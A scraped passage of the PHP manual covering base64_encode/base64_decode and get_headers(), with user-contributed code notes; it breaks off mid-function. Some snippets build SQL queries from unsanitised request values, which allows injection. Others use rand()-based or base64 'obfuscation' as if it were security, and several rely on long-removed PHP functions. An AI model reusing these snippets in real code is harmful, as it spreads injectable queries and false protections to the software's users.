I have another solution that is simple and elegant.  Create a pseudorandom string of characters.  Then, each time you want to obfuscate your key, append a random substring from the pseudorandom string and use base64 encoding.  When you want to de-obfuscate, convert back from base64.  If the prefix is not in your pseudorandom source, then the value is forged.  Otherwise, strip the prefix and recover your original key.

The advantages are that the string will look different even for the same key, and encoding and decoding should be extremely fast.

Here's an example:

<?php

// Call makeCksum once upon landing on the homepage
function makeCksum() {
       $str = "";
       for ($i=0;$i<32;++$i)
               $str .= chr(rand(32,126));
       $_SESSION['Cksum'] = $str;
}

function encode($x) {
    return base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x);
}

function decode($x) {
    $y = base64_decode($x);
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
Andi 31-Mar-2008 10:54
I needed a simple way to obfuscate auto_increment primary keys in databases when they are visible to users in URIs or API calls. The users should not be able to increment the id in the URL and see the next data record in the database table.

My solution (uses modified base64 functions by Tom):

function base64url_encode($plainText) {

    $base64 = base64_encode($plainText);
    $base64url = strtr($base64, '+/=', '-_,');
    return $base64url;
}

function base64url_decode($plainText) {

    $base64url = strtr($plainText, '-_,', '+/=');
    $base64 = base64_decode($base64url);
    return $base64;
}

function encryptId($int, $class='') {

    return base64url_encode($int.'-'.substr(sha1($class.$int.encryptionKey), 0, 6));
}

function decryptId($string, $class='') {

    $parts = explode('-', base64url_decode($string));
    if (count($parts) != 2) {

        return 0;
    }

    $int = $parts[0];
    return substr(sha1($class.$int.encryptionKey), 0, 6) === $parts[1]
        ? (int)$int
        : 0;
}

- The optional 2nd argument is the class name, so two equal ids of different tables will not result in two equal obfuscated ids.

- encryptionKey is a global secret key for encryption.

- decryptId() checks if the second part of the base64 encoded string is correct.
Anonymous 26-Feb-2008 02:11
a note on URI -safe base64.
Simply replacing + = and / with _ - and . doesn't work as the base64_encode function will insert \r \n chars as well which are not URI-safe. So unless we have a base64encode function that does not insert any newline and padddings, the output can never be URI -safe.

referring to the note posted by " web at pkasperski dot com"

- you might as well use $encoded = strtr ( base64_encode ($data), 'ABCDEFG.....', 'aBcDEfG....' ).

this is more efficient. Also, Is simply changing the casing of the letters  more secure? Why don't you try swapping letters around instead

- for your utf8_encode function, the "ord" function returns  a number in the range 0-255. Remember that strings in PHP are actually a sequence of bytes rather than chars. So your utf8 encode func may not work properly. and the line "for ($n = 0; $n < strlen($input); $n++) {" is inefficient, you should assign  a variable $count to  strlen($input) and use it.

referring to
"dlyaza aT yahoo DOT com"

whats the usefulness of encoding your images in a php file??

referring to  "php at ianco dot co dot uk"

- what version of php are you using? Your code works fine for me. I see all the output.
Tom 06-Dec-2006 07:20
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_encode($plainText)
    {
        $base64 = base64_encode($plainText);
        $base64url = strtr($base64, '+/', '-_');
        return ($base64url);
    }
    ?>

You may wish to rtrim (or escape) trailing ='s for use in a URI.
eric [at] d512 [dot] com 04-Dec-2006 04:42
Note that at least some Windows systems will not print a line of characters longer than a certain length unless it has line breaks of some kind.  So if you base-64 encode a file, print it back for debugging purposes, and see nothing, don't be alarmed.
dlyaza aT yahoo DOT com 22-Oct-2006 02:57
Using Function:
Output for HTML Put:
<img src="$self?image=file" border="0" alt="file">
<img src="$self?image=folder" border="0" alt="folder">

function getimage ($image) {
    switch ($image) {
    case 'file':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'folder':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAA
ARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5v
Gc+0a7dhjh7ZbygAADsA');
    case 'hidden_file':
        return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'link':
        return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAA
CH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUll
NOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
    case 'smiley':
        return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAA
AARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3
dKZuIygrMRE/oJDwUAOwA=');
    case 'arrow':
        return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AA
AIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
    }
}
php at ianco dot co dot uk 22-Sep-2006 05:25
I am finding a length restriction with base64_encode (or possibly with echo) in PHP 4.3.9.
This works ok for me:
<?php
echo strlen(str_repeat('-', 3273)); // 3273
echo strlen(base64_encode(str_repeat('-', 3273))); // 4364
echo base64_encode(str_repeat('-', 3273)); // LS0t repeated
?>
But change the length to 3274 and the third echo prints nothing.
<?php
echo strlen(str_repeat('-', 3274)); // 3274
echo strlen(base64_encode(str_repeat('-', 3274))); // 4368
echo base64_encode(str_repeat('-', 3274)); // Nothing at all printed
?>
This has obvious implications if you're wanting to encode a fairly large serialized array and echo it to a form field.
peter at mailinator dot com 23-Jul-2006 11:06
If you want to decode base64 encoded data in Javascript, you can use the tool (Webtoolkit.base64) on this website: http://www.webtoolkit.info/
greenthumb at 4point-webdesign dot de 26-Apr-2006 11:57
I had massive problems storing a serialized Object which contained UTF-8 parts and some ascii parts (from the serialization i think) into mysql.

So i used base64_encode to get a clean string which could be safely decoded and unserialized.

this is bulletproof - if you ever have trouble use this.
the runtime is imho no problem.
dawgeatschikin at hotmail dot com 28-Mar-2006 05:06
Just a minor tweak of massimo's functions.

<?
$data = str_replace(array('+','/','='),array('-','_','.'),$data);
//replace '=' with '.' instead of with nothing, that way the process is reversible.  '.' is uri-safe according to http://www.w3.org/Addressing/URL/5_URI_BNF.html
?>
massimo dot scamarcia at gmail dot com 23-Mar-2006 04:23
$data = str_replace(array('+','/','='),array('-','_',),$data); // MIME::Base64::URLSafe implementation

$data = str_replace(array('+','/'),array('-','_'),$data); // Python raise "TypeError: Incorrect padding" if you remove "=" chars when decoding
massimo dot scamarcia at gmail dot com 23-Mar-2006 12:02
function urlsafe_b64encode($string) {
    $data = base64_encode($string);
    $data = str_replace(array('+','/','='),array('-','_',''),$data);
    return $data;
}

function urlsafe_b64decode($string) {
    $data = str_replace(array('-','_'),array('+','/'),$string);
    $mod4 = strlen($data) % 4;
    if ($mod4) {
        $data .= substr('====', $mod4);
    }
    return base64_decode($data);
}

Php version of perl's MIME::Base64::URLSafe, that provides an url-safe base64 string encoding/decoding (compatible with python base64's urlsafe methods)
Gabriel Malca 17-Mar-2006 10:45
If the function doesn't exist, this is a messy but effective way of doing it:

<?

echo bencode("Gabriel Malca");
// R2FicmllbCBNYWxjYQ==

function bencode($string='') {
    $binval = convert_binary_str($string);
    $final = "";
    $start = 0;
    while ($start < strlen($binval)) {
        if (strlen(substr($binval,$start)) < 6)
            $binval .= str_repeat("0",6-strlen(substr($binval,$start)));
        $tmp = bindec(substr($binval,$start,6));
        if ($tmp < 26)
            $final .= chr($tmp+65);
        elseif ($tmp > 25 && $tmp < 52)
            $final .= chr($tmp+71);
        elseif ($tmp == 62)
            $final .= "+";
        elseif ($tmp == 63)
            $final .= "/";
        elseif (!$tmp)
            $final .= "A";
        else
            $final .= chr($tmp-4);
        $start += 6;
    }
    if (strlen($final)%4>0)
        $final .= str_repeat("=",4-strlen($final)%4);
    return $final;
}

function convert_binary_str($string) {
    if (strlen($string)<=0) return;
    $tmp = decbin(ord($string[0]));
    $tmp = str_repeat("0",8-strlen($tmp)).$tmp;
    return $tmp.convert_binary_str(substr($string,1));
}

?>
conradopinto at yahoo dot com dot br 09-Feb-2006 04:04
There is an error on the example of passing an array through an HTML Form.

In the line:
$array = unserialize(base64_decode($coded_array);

There is a ')' missing. it should be:
$array = unserialize(base64_decode($coded_array));
virtuall at virtuall dot info 06-Dec-2005 10:53
If you encode text that contains symbols like < > and want to send it in GET query, be sure to urlencode the result of base64_encode, as it sometimes adds a  + (and it's a special symbol) at the end:

<?php
    echo base64_encode('<html>');
?>

returns:

PGh0bWw+

A function like this could also be useful:

<?php
    function base64_urlencode($str) {
        return urlencode(base64_encode($str));
    };
?>
Cristiano Calligaro 25-Aug-2005 12:05
I've used base64_encode and base64_decode for file attachment both in MySQL (using a BLOB field) and MSSQL (using a TEXT field). For MSSQL remember to set in PHP.INI file both mssql.textsize and mssql.textlimit to 2147483647.

Here's the code:

######### MSSQL(mssql_)/MySQL(mysql_) file attach
$val=$HTTP_POST_FILES['lob_upload']['tmp_name'];
$valn=$HTTP_POST_FILES['lob_upload']['name'];
$valt=$HTTP_POST_FILES['lob_upload']['type'];

$data=base64_encode(addslashes(fread(fopen($val, "r"), filesize($val))));

mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "UPDATE $table SET $field='$data', $fieldname='$valn', $fieldtype='$valt' WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
mssql_close();

######### MSSQL(mssql_)/MySQL(mysql_) open file attached
mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "SELECT $field,$fieldtype FROM $table WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
$row = mssql_fetch_array($result);

header("Content-type: $row[1]");
echo stripslashes(base64_decode($row[0]));

This strategy is good for Microsoft Word, Acrobat PDF, JPG image and so on (even zipped files!!!)
mightymrj at hotmail dot com 28-Oct-2004 07:35
Problem: mime attachments sending as blank or almost completely blank documents (all data is lost)

Explanation: After a couple days of trying to mime pdf attachments without losing all data, I finally came across this function in some obsolete obscure post:

set_magic_quotes_runtime()

This is set to on by default in the machine, and it causes fread() and/or base64_encode() (both used in most mime examples I've seen) to read or encrypt binary without slashes for special characters.  This causes sent files to process incorrectly, breaking, thus truncating most of the data in the file.

Fix: pass 0 to this function and it will do a one time turn off while your code executes.

example:
<?php
   set_magic_quotes_runtime(0);
?>

This can also been turned off in the php.ini file, but I'm not sure what uses that setting or what the consequences might be.

info:
   http://us2.php.net/manual/en/function.set-magic-quotes-runtime.php
juha at kuhazor dot idlegames dot com 22-Jun-2004 05:29
If you use base64encoded strings as cookie names, make sure you remove '=' characters. At least Internet Explorer refuses cookie names containing '=' characters or urlencoded cookie names containing %xx character replacements. Use the function below to turn base64 encoded strings to bare alphabets (get rid of / and + characters as well)

<?php
function base64clean($base64string)
{
     $base64string = str_replace(array('=','+','/'),'',$base64string);

     return $base64string;
}
?>
guy at bhaktiandvedanta dot com 02-Oct-2002 02:00
You can use base64_encode to transfer image file into string text and then display them. I used this to store my images in a database and display them form there. First I open the files using fread, encoded the result, and stored that result in the database. Useful for creating random images.

image.php:

<?

header(" Content-Type: image/jpeg");
header(" Content-Disposition: inline");
$sql = "SELECT data FROM image where name='".$img."'";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
$image = $row[0];
echo base64_decode($image);

?>

And in the html file you put:

<img src="image.php?img=test3"  border="0" alt="">

Guy Laor


Fetches all the headers sent by the server in response to a HTTP request

  • « base64_encode
  • get_meta_tags »
  • PHP Manual
  • URL Functions
  • Fetches all the headers sent by the server in response to a HTTP request

get_headers

(PHP 5)

get_headers — Fetches all the headers sent by the server in response to a HTTP request

Description

array get_headers ( string $url [, int $format = 0 ] )

get_headers() returns an array with the headers sent by the server in response to a HTTP request.

Parameters

url

The target URL.

format

If the optional format parameter is set to non-zero, get_headers() parses the response and sets the array's keys.

Return Values

Returns an indexed or associative array with the headers, or FALSE on failure.

Changelog

Version | Description
5.1.3 | This function now uses the default stream context, which can be set/changed with the stream_context_set_default() function.

Examples

Example #1 get_headers() example

<?php
$url = 'http://www.example.com';

print_r(get_headers($url));

print_r(get_headers($url, 1));
?>

The above example will output something similar to:

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)

Array
(
    [0] => HTTP/1.1 200 OK
    [Date] => Sat, 29 May 2004 12:28:14 GMT
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
    [ETag] => "3f80f-1b6-3e1cb03b"
    [Accept-Ranges] => bytes
    [Content-Length] => 438
    [Connection] => close
    [Content-Type] => text/html
)

Example #2 get_headers() using HEAD example

<?php
// By default get_headers uses a GET request to fetch the headers. If you
// want to send a HEAD request instead, you can do so using a stream context:
stream_context_set_default(
    array(
        'http' => array(
            'method' => 'HEAD'
        )
    )
);
$headers = get_headers('http://example.com');
?>

See Also

  • apache_request_headers() - Fetch all HTTP request headers

User Contributed Notes

Kubo2 24-Nov-2013 06:55
If you don't want to display Warning when get_headers() function fails, you can simply add at-sign (@) before it.

<?php

// in failure, Warning will be hidden and false returned
$withoutWarning = @get_headers("http://www.some-domain.com");

// in  failure, Warning displays and false will be returned, too
$withWarning = get_headers("http://www.some-domain.com");

// bool(false)
var_dump($withoutWarning);
// bool(false)
var_dump($withWarning);
?>
Jim Greene 09-Jul-2013 11:47
I know you're not supposed to reference other notes, but sincere props to Nick at Innovaweb's comment, for which I base this addition to his idea:

If you use that function, it will return a string, which is great if you are checking for only files that return 404, or 200, or whatnot.  If you cast the string value to an integer, you can perform mathematical comparison on it.

For example:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}

if(intval(get_http_response_code('filename.jpg')) < 400){
// File exists, huzzah!
}
?>

Rule of thumb is if the response is less than 400, then the file's there, even if it doesn't return 200.
Backslider 16-Feb-2012 04:06
It should be noted that rather than returning "false" on failure, this function (and others) return a big phat WARNING that will halt your script in its tracks if you do not have error reporting /warning turned off.

Thats just insane!  Any function that does something like fetch a URL should simply return false, without a warning, if the URL fails for whatever reason other than it is badly formatted.
damolp at hotmail dot com 04-Jul-2011 02:43
I found that this function is the slowest in obtaining the headers of a page probably because it uses a GET request rather then a HEAD request. Over 10,000,000 trials of obtaining the headers of a page from a server i found the following (results in seconds).

cURL: Mean: 0.584127946. Sigma: 0.050581736.
fsocketopen: Mean: 0.622114251. Sigma: 0.263170424.
get_headers: Mean: 0.90375551. Sigma: 0.273823419.

cURL was the fastest with fsocketopens being the second fastest. I noticed as well that fsocketopen had some outliers where as cURL did not.
Lukas Najduk 11-Jan-2011 12:36
Unfortunately there is still no useful output format to handle redirects.

This function will bring all non-broken headers into a usable format. Too bad it has to call the get_headers() funtion 2 times, but i dont see any other possibility right now.

<?php
function page_get_headers($crawl_uri) {
    // get the array values where to split the second get headers return
    $headers = get_headers($crawl_uri, 1);
    if (empty($headers)) {
        return array();
    }
    $splitmarks = array();
    foreach ($headers as $key=>$h) {
        if (is_numeric($key)) {
            array_push($splitmarks, $h);
        }
    }

    // get the "real" headers
    $headers_final = array();
    $i = 0;
    $headers = get_headers($crawl_uri);
    foreach ($headers as $head) {
        // if the value is one of the splitmarks, start the next header
        if (array_key_exists($i, $splitmarks) && $head === $splitmarks[$i]) {
            $i++;
        }
        else {
            // get the headers name
            $tmp = explode(": ", $head, 2);
            // check if the header is already existing, if yes, parse the similar header to an array
            if (!empty($headers_final[$i-1][$tmp[0]])) {
                if (is_array($headers_final[$i-1][$tmp[0]])) {
                    array_push($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
                else {
                    $headers_final[$i-1][$tmp[0]] = array($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
            }
            else {
                $headers_final[$i-1][$tmp[0]] = $tmp[1];
            }
        }
    }
    return $headers_final;
}
?>
Weboide 26-Sep-2010 03:13
Note that get_headers **WILL follow redirections** (HTTP redirections). New headers will be appended to the array if $format=0. If $format=1 each redundant header will be an array of multiple values, one for each redirection.

For example:

<?php
$url = 'http://google.com';
var_dump(get_headers($url,0));
/*array(18) {
  [0]=>  string(30) "HTTP/1.0 301 Moved Permanently"
  [1]=>  string(32) "Location: http://www.google.com/"
  [2]=>  string(38) "Content-Type: text/html; charset=UTF-8"
  [3]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:50 GMT"
  [4]=>  string(38) "Expires: Tue, 26 Oct 2010 00:59:50 GMT"
  [5]=>  string(38) "Cache-Control: public, max-age=2592000"
....
  string(15) "HTTP/1.0 200 OK"
  [10]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:51 GMT"
  [11]=>  string(11) "Expires: -1"
  [12]=>  string(33) "Cache-Control: private, max-age=0"
.....
}*/

/*===========================*/

var_dump(get_headers($url,1));
/*array(11) {
  [0]=>
  string(30) "HTTP/1.0 301 Moved Permanently"
  ["Location"]=>  string(22) "http://www.google.com/"
  ["Content-Type"]=>  array(2) {
    [0]=>    string(24) "text/html; charset=UTF-8"
    [1]=>    string(29) "text/html; charset=ISO-8859-1"
  }
  ["Date"]=>  array(2) {
    [0]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
    [1]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
  }
  ["Expires"]=>  array(2) {
    [0]=>    string(29) "Tue, 26 Oct 2010 01:03:39 GMT"
    [1]=>    string(2) "-1"
  }
  ["Cache-Control"]=>  array(2) {
    [0]=>    string(23) "public, max-age=2592000"
    [1]=>    string(18) "private, max-age=0"
  }
.....
}*/
?>
nick at innovaweb dot co dot uk 03-May-2010 02:28
Seems like there are some people who are looking for only the 3-digit HTTP response code  - here is a quick and nasty solution:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}
?>

How easy is that? Echo the function containing the URL you want to check the response code for, and voilà. Custom redirects, alternative for blocked is_file() or flie_exists() functions (like I seem to have on my servers) hence the cheap workaround. But hey - it works!

Pudding
php at hm2k dot org 28-Jan-2010 07:20
<?php
/**
 * Fetches all the real headers sent by the server in response to a HTTP request without redirects
 *
 * @link      http://php.net/function.get_headers
 * @link      http://bugs.php.net/bug.php?id=50719
 */

function get_real_headers($url,$format=0,$follow_redirect=0) {
  if (!$follow_redirect) {
    //set new default options
    $opts = array('http' =>
        array('max_redirects'=>1,'ignore_errors'=>1)
    );
    stream_context_get_default($opts);
  }
  //get headers
    $headers=get_headers($url,$format);
    //restore default options
  if (isset($opts)) {
    $opts = array('http' =>
        array('max_redirects'=>20,'ignore_errors'=>0)
    );
    stream_context_get_default($opts);
  }
  //return
    return $headers;
}
?>
gabe at vtunnel dot com 22-Apr-2009 10:23
In some cases, you don't want get_headers to follow redirects. For example, some of my servers can access a particular website, which sends a redirect header. The site it is redirected to, however, has me firewalled. I need to take the 302 redirected url, and do something to it to give me a new url that I *can* connect to.

The following will give you output similar to get_headers, except it has a timeout, and it doesn't follow redirects:

<?php
function get_headers_curl($url)
{
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL,            $url);
    curl_setopt($ch, CURLOPT_HEADER,         true);
    curl_setopt($ch, CURLOPT_NOBODY,         true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT,        15);

    $r = curl_exec($ch);
    $r = split("\n", $r);
    return $r;
}

If you do want to follow redirects, you can do something like this:

$go = 1;
$i = 1;

while ($go && $i < 6)
{
    $headers = get_headers_curl($url);
    $go = getNextLocation($headers);
    if ($go)
    {
        $url = modifyUrl($go);
    }
    $i++;
}

function getNextLocation($headers)
{
    $array = $headers;
    $count = count($array);

    for ($i=0; $i < $count; $i++)
    {
        if (strpos($array[$i], "ocation:"))
        {
                $url = substr($array[$i], 10);
        }
    }
    if ($url)
    {
        return $url;
    }
    else
    {
        return 0;
    }
}
?>
info at marc-gutt dot de 21-Jun-2008 02:04
Should be the same than the original get_headers():

<?php
if (!function_exists('get_headers')) {
function get_headers($url, $format=0) {
    $headers = array();
    $url = parse_url($url);
    $host = isset($url['host']) ? $url['host'] : '';
    $port = isset($url['port']) ? $url['port'] : 80;
    $path = (isset($url['path']) ? $url['path'] : '/') . (isset($url['query']) ? '?' . $url['query'] : '');
    $fp = fsockopen($host, $port, $errno, $errstr, 3);
    if ($fp)
    {
        $hdr = "GET $path HTTP/1.1\r\n";
        $hdr .= "Host: $host \r\n";
        $hdr .= "Connection: Close\r\n\r\n";
        fwrite($fp, $hdr);
        while (!feof($fp) && $line = trim(fgets($fp, 1024)))
        {
            if ($line == "\r\n") break;
            list($key, $val) = explode(': ', $line, 2);
            if ($format)
                if ($val) $headers[$key] = $val;
                else $headers[] = $key;
            else $headers[] = $line;
        }
        fclose($fp);
        return $headers;
    }
    return false;
}
}
?>
php dot sirlancelot at spamgourmet dot com 05-Jun-2008 10:59
I tried to replicate the native behavior as much as possible for systems that don't have the get_headers() function. Here it is:
<?php
if (!function_exists('get_headers')) {
function get_headers($Url, $Format= 0, $Depth= 0) {
    if ($Depth > 5) return;
    $Parts = parse_url($Url);
    if (!array_key_exists('path', $Parts))   $Parts['path'] = '/';
    if (!array_key_exists('port', $Parts))   $Parts['port'] = 80;
    if (!array_key_exists('scheme', $Parts)) $Parts['scheme'] = 'http';

    $Return = array();
    $fp = fsockopen($Parts['host'], $Parts['port'], $errno, $errstr, 30);
    if ($fp) {
        $Out = 'GET '.$Parts['path'].(isset($Parts['query']) ? '?'.@$Parts['query'] : '')." HTTP/1.1\r\n".
               'Host: '.$Parts['host'].($Parts['port'] != 80 ? ':'.$Parts['port'] : '')."\r\n".
               'Connection: Close'."\r\n";
        fwrite($fp, $Out."\r\n");
        $Redirect = false; $RedirectUrl = '';
        while (!feof($fp) && $InLine = fgets($fp, 1280)) {
            if ($InLine == "\r\n") break;
            $InLine = rtrim($InLine);

            list($Key, $Value) = explode(': ', $InLine, 2);
            if ($Key == $InLine) {
                if ($Format == 1)
                        $Return[$Depth] = $InLine;
                else    $Return[] = $InLine;

                if (strpos($InLine, 'Moved') > 0) $Redirect = true;
            } else {
                if ($Key == 'Location') $RedirectUrl = $Value;
                if ($Format == 1)
                        $Return[$Key] = $Value;
                else    $Return[] = $Key.': '.$Value;
            }
        }
        fclose($fp);
        if ($Redirect && !empty($RedirectUrl)) {
            $NewParts = parse_url($RedirectUrl);
            if (!array_key_exists('host', $NewParts))   $RedirectUrl = $Parts['host'].$RedirectUrl;
            if (!array_key_exists('scheme', $NewParts)) $RedirectUrl = $Parts['scheme'].'://'.$RedirectUrl;
            $RedirectHeaders = get_headers($RedirectUrl, $Format, $Depth+1);
            if ($RedirectHeaders) $Return = array_merge_recursive($Return, $RedirectHeaders);
        }
        return $Return;
    }
    return false;
}}
?>
The function will handle up to five redirects.
Enjoy!
dxtrim at yahoo dot com 17-Jan-2008 10:16
Content-Type returns a value depending only on the extension and not the real MIME TYPE.

So, bad_file.exe renamed to good_file.doc will return application/msword

A file without extension returns a 404.
13-Nov-2006 09:29
I've noticed it.
Some Server will simply return the false reply header if you sent 'HEAD' request instead of 'GET'. The 'GET' request header always receiving the most actual HTTP header instead of 'HEAD' request header. But If you don't mind for a fast but risky method then 'HEAD' request is better for you.

btw ... this is get header with additional information such as User, Pass & Refferer. ...
<?php
    function get_headers_x($url,$format=0, $user='', $pass='', $referer='') {
        if (!empty($user)) {
            $authentification = base64_encode($user.':'.$pass);
            $authline = "Authorization: Basic $authentification\r\n";
        }

        if (!empty($referer)) {
            $refererline = "Referer: $referer\r\n";
        }

        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "GET ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\n";
            if (!empty($url_info['port'])) {
                $head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n";
            } else {
                $head .= "Host: ".@$url_info['host']."\r\n";
            }
            $head .= "Connection: Close\r\n";
            $head .= "Accept: */*\r\n";
            $head .= $refererline;
            $head .= $authline;
            $head .= "\r\n";

            fputs($fp, $head);
            while(!feof($fp) or ($eoheader==true)) {
                if($header=fgets($fp, 1024)) {
                    if ($header == "\r\n") {
                        $eoheader = true;
                        break;
                    } else {
                        $header = trim($header);
                    }

                    if($format == 1) {
                    $key = array_shift(explode(':',$header));
                        if($key == $header) {
                            $headers[] = $header;
                        } else {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                    unset($key);
                    } else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;

        } else {
            return false;
        }
    }
?>

Regards.
Donovan
10-May-2006 01:10
If you want to get headers that current PHP process is going to send back to browser, see headers_list()
stuart at sixletterwords dot com 14-Sep-2005 09:52
hey, i came across this afew weeks ago and used the function in an app for recording info about domains that my company owns, and found that the status this returns was wrong most of the time (400 bad request or void for sites that were clearly online). then looking into it i noticed the problem was that it wasn't able to get the correct info about sites with redirections. but thats not the full problem because everything on my server was returning the wrong status too. i searched around on php.net for other info and found that fsockopen's example worked better and only needed some tweeking.

heres the function i put together from it and a small change.

<?php
if(!function_exists('get_headers')) {
   function get_headers($url,$format=0,$httpn=0){
    $fp = fsockopen($url, 80, $errno, $errstr, 30);
    if ($fp) {
       $out = "GET / HTTP/1.1\r\n";
       $out .= "Host: $url\r\n";
       $out .= "Connection: Close\r\n\r\n";
       fwrite($fp, $out);
       while (!feof($fp)) {
           $var.=fgets($fp, 1280);
       }

    $var=explode("<",$var);
    $var=$var[0];
    $var=explode("\n",$var);
    fclose($fp);
    return $var;
    }
    }
}
?>

this returns an array of the header (only problem being that if the site doesn't have correct html it'll pull in some content too).

hope this'll help someone else.
sey at sey dot prometheus-designs dot net 28-Jul-2005 01:10
The replacement updated get_headers function by aeontech at gmail dot com improperly formats dates when $format = 1.

Replace:
<?
else {
$headers[strtolower($h2[0])] = trim($h2[1]);
}
?>

With:
<?
else {
$foo = implode( ':', $h2 );
$foo = preg_replace( '/[a-zA-Z- ]*: /', '', $foo );
$headers[strtolower($h2[0])] = trim( $foo );
}
drfickle2 at yahoo dot com 27-Jul-2005 02:01
aeontech, this the below change adds support for SSL connections. Thanks for the code!

        if (isset($url_info['scheme']) && $url_info['scheme'] == 'https') {
            $port = 443;
            $fp=fsockopen('ssl://'.$url_info['host'], $port, $errno, $errstr, 30);
        } else {
           $port = isset($url_info['port']) ? $url_info['port'] : 80;
            $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        }
15-Jul-2005 10:37
For anyone reading the previous comments, here is code that takes into account all the previous suggestions and includes a bugfix, too.

This code basically provides the "get_headers" function even on systems that are not running PHP 5.0.  It uses strtolower() on the keys, as suggested.  It uses the $h2 array instead of the $key, as suggested.  It removes a line about unsetting the $key -- no reason to unset something which is no longer used.  And I've changed the status header to be named "status" (instead of "0") in the array.  Note that if more than one header is returned without a label, they'll be stuck in "status" -- but I think status is the only header that comes back without a label, so it works for me.  So, first the code, then a sample of the usage:

<?php
if(!function_exists('get_headers')) {
   /**
   * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0) {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query'];
            $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp)) {
                if($header=trim(fgets($fp, 1024))) {
                    if($format == 1) {
                        $h2 = explode(':',$header);
                        // the first element is the http header type, such as HTTP/1.1 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($h2[0] == $header) {
                            $headers['status'] = $header;
                        }
                        else {
                            $headers[strtolower($h2[0])] = trim($h2[1]);
                        }
                    }
                    else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;
        }
        else {
            return false;
        }
    }
}
?>

OK?  Here's the usage:

<?php
$response = get_headers('http://www.example.com/', 1);
if (!$response) {
    echo 'Unable to initiate connection.';
}
else {
    print_r($response);
}
?>
aeontech at gmail dot com 24-Dec-2004 02:20
In response to dotpointer's modification of Jamaz' solution...

Here is a small modification of your function, this adds the emulation of the optional $format parameter.

<?php
if(!function_exists('get_headers')) {

    /**
    * @return array
    * @param string $url
    * @param int $format
    * @desc Fetches all the headers
    * @author cpurruc fh-landshut de
    * @modified by dotpointer
    * @modified by aeontech
    */
    function get_headers($url,$format=0)
    {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);

        if($fp)
        {
            $head = "HEAD ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
            fputs($fp, $head);
            while(!feof($fp))
            {
                if($header=trim(fgets($fp, 1024)))
                {
                    if($format == 1)
                    {
                        $key = array_shift(explode(':',$header));
                        // the first element is the http header type, such as HTTP 200 OK,
                        // it doesn't have a separate name, so we have to check for it.
                        if($key == $header)
                        {
                            $headers[] = $header;
                        }
                        else
                        {
